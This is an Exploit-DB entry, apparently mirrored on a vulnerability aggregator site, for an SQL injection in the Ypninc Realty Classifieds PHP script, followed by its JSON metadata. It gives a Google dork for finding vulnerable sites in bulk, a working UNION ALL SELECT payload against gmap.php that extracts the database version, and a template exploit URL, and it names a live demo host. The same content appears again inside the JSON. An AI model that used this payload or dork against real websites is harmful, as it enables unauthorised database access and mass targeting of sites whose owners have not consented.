Search...

Ypninc Realty Classifieds SQL Injection Vulnerability

2010-12-23T00:00:00

ID EDB-ID:15812
Type exploitdb
Reporter Br0ly
Modified 2010-12-23T00:00:00

Description

Ypninc Realty Classifieds SQL Injection Vulnerability. Webapps exploit for php platform

                                        
                                            Script Name: Ypninc Realty Classifieds
Script Demo: http://fsbo.ypninc.com/
BUG: Sql INjection
google dork: inurl:"gmap.php?id=";
OBS: With this dork you will find a lot of sql injection aiuhauiha ;D
Found: by Br0ly


Lame script ;/...

p0c:

http://server/gmap.php?id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,@@version,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42--

xPloit:

http://server/gmap.php?id=[sqli]

BraZil.. ;D

JSON Vulners Source

Initial Source

{"id": "EDB-ID:15812", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Ypninc Realty Classifieds SQL Injection Vulnerability", "description": "Ypninc Realty Classifieds SQL Injection Vulnerability. Webapps exploit for php platform", "published": "2010-12-23T00:00:00", "modified": "2010-12-23T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/15812/", "reporter": "Br0ly", "references": [], "cvelist": [], "lastseen": "2016-02-01T22:35:56", "viewCount": 4, "enchantments": {"score": {"value": 0.8, "vector": "NONE", "modified": "2016-02-01T22:35:56", "rev": 2}, "dependencies": {"references": [], "modified": "2016-02-01T22:35:56", "rev": 2}, "vulnersScore": 0.8}, "sourceHref": "https://www.exploit-db.com/download/15812/", "sourceData": "Script Name: Ypninc Realty Classifieds\r\nScript Demo: http://fsbo.ypninc.com/\r\nBUG: Sql INjection\r\ngoogle dork: inurl:\"gmap.php?id=\";\r\nOBS: With this dork you will find a lot of sql injection aiuhauiha ;D\r\nFound: by Br0ly\r\n\r\n\r\nLame script ;/...\r\n\r\np0c:\r\n\r\nhttp://server/gmap.php?id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,@@version,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42--\r\n\r\nxPloit:\r\n\r\nhttp://server/gmap.php?id=[sqli]\r\n\r\nBraZil.. ;D\r\n\r\n", "osvdbidlist": ["70015"]}